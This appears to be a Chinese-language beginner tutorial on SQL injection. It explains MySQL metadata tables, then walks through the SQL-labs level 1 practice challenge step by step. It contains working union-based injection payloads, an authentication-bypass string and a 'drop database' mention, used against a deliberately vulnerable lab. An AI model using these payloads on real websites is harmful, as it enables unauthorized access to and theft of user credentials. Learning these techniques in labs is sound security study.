目录
一、SQL注入中重要的数据库知识
show databases ——列出所有数据库名
information_schema(信息库)—— 保存其他数据库里所有信息(数据库名、表、字段的数据类型/访问权限)
mysql—— 存储用户名 密码 host
performance_schema——内存数据库 数据放在内存中直接操作的数据库
sys——可以查询谁使用了最多的资源基于IP或者是用户(监控)
information_schema
SCHEMATA——当前MySQL实例中所有数据库信息
COLUMNS——表中列信息(字段)
TABLES——表的信息(表名等)
注释
sql注入一般使用第一种
第一种:--空格
第二种:#
简单操作
列出所有数据库:
show databases
查看某一个数据库里所有的表:
use databasename(数据库名)
show tables
或者
show tables from databasename
每个语句用;分号隔开
select特殊应用与函数:
select now() 获得时间
select database()查看当前选择的是那个库
select version()查看版本
select user()查看当前登陆数据库的用户
select @@datadir 查看数据路径
select @@basedir 查看mysql安装路径
select @@version_compile_os 查看mysql安装的系统
union联合查询:
select * from 数据表 union select 1,2(union查询的字段数要与前面查询的字段数相同)
通过报错判断前面查询的字段数(查询暴露了几个字段)
二、SQL注入
SQL注入漏洞
用户输入的数据被构造成恶意的SQL代码,web应用又未对动态构造的SQL语句的参数进行审查,则会带来不同程度的威胁
GET/POST型SQL注入
提交网页内容的时候,主要分为GET/POST方法,GET提交方法提交内容会显现在URL上,对URL连接进行构造,有可能获得数据库信息内容,GET型SQL注入相对来说比较简单,POST型则需要先抓包再构造
最简单的SQL注入
网页源码中出现
select * from test where xxxx='%s'
显然是需要用户输入密码登入
此时用户如果不输入密码且输入
1 'or 1=1 -- 万能密码
则后端收到的语句为
select * from test where xxxx='1'or 1=1-- '
等效于
select * from test
SQL注入带来的威胁
猜解后台数据库,盗取网站敏感信息
借助数据库的存储过程进行提权等操作
绕过验证,登陆网站后台
SQL注入手法
检索隐藏数据
获取敏感数据
修改应用逻辑
Union attack(联合攻击)有回显的可以使用union attack
盲注
删库:drop database
SQL攻击流程
先判断注入点
然后判断网站所查询的字段数
union select 1,2,3... 用1,2,3...测试
这一步也可以用order by 来确定
之后查询数据库名、用户、版本
union select database(),user(),version()
这里要与上面测试出来的字段数匹配,即字段数是几这里可以一次性查几个,如果多可以用1,2...进行占位,查询时测试一下前端输出与查询顺序如何匹配,并且与前端的数据类型相匹配
之后可以查询该数据库中的数据表名
union select table_name from information_schema.tables where table_schema='database()/或者直接写刚才查询出来的库名' (记得占位)
对于只回显一条或几条记录的网站可以使用limit n,1000 来查询每一条记录
也可以直接group_concat(字段名)来直接一步到位
接下来对于一些敏感名称的表进行查看
比如说找到一张表叫user
union select column_name from information_schema.columns where table_name='user'
这里如果这样查询则会返回所有数据库中名为user的表的字段,这并不是我们想要的
所以我们给它加上限制条件
union select column_name from information_schema.columns where table_name='user' and table_schema=database() 限制在该数据库中
之后就基本上注入成功想查的数据就查到啦
SQL-labs第一关
我看很多大佬最后第一关的结果就是把users表全部显示,咱也不知到为啥,按照上面的步骤,咱也来动手试一下!
第一步——确定注入点
提示我们输入一个id字段,并且这道题是get方式提交的,可以直接在url里面写
那就先试一下id
接下来测试一下这个id是字符型还是整形 即加不加'
url会自动把空格翻译成%20 单引号翻译成%27
这里报错了,看报错好像多了一个' 尝试在后面加个注释
id=1' -- +
结果出来了
到这一步我们已经确定了是字符型并且可以在这个位置进行注入
第二步判断它这条语句返回的字段数
用order by 或者 union
这里用order by
即 id=1' order by n -- +
这里从1开始测试到4的时候报错
说明这条语句返回了3个字段的值
第三步我们开始用union attract 来看看它的一些不显示的信息
我们先看一下它查询字段的位置与前端输出的位置是如何匹配的
id=-1' union select 1,2,3 -- +
这里把id写成-1是因为这里只显示出一条记录,为了方便显示的记录就是我们想看的记录,把前面正常查询的记录都排除掉,即让 union 前面的语句查询不到记录
这时我们能看到输出对应的是查询出的第2和第3个字段
我们接下来查询一下现在是在那个数据库中、数据库的版本、用户(这道题里这一步其实没啥用,但是还是走流程查一下)
id=-1' union select 1,database(),version() -- +
数据库名security 版本5.5.53
把前面任意一个函数改为user()就可以查到用户,这里不演示了
接下来看一看这个数据库中拥有的数据表吧因为这里只能输出一条记录而表名数量不确定我们可以使用group_concat()函数
id=-1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() -- +
看到如下表名,其中users看起来就楚楚可怜的,那让我们看一下它有那些字段,注意为了查询出来的字段都是该数据库中users表的数据,要加入限定条件
id=-1' union select 1,group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema=database() -- +
直接查到 id username password
其实就是一开始让你输入id 然后显示username 和 password
其实到这里我没太看懂这次注入干了啥,一开始输入id也能看到这些信息,一顿操作最后还是为了看这些信息
现在让我们把这些信息都输出出来吧
id=-1' union select 1,2,group_concat(id ,username ,password) from users -- +
这样似乎就成功了
我们要不再看看其他表
email直接就没数据
好吧那(一)就到这里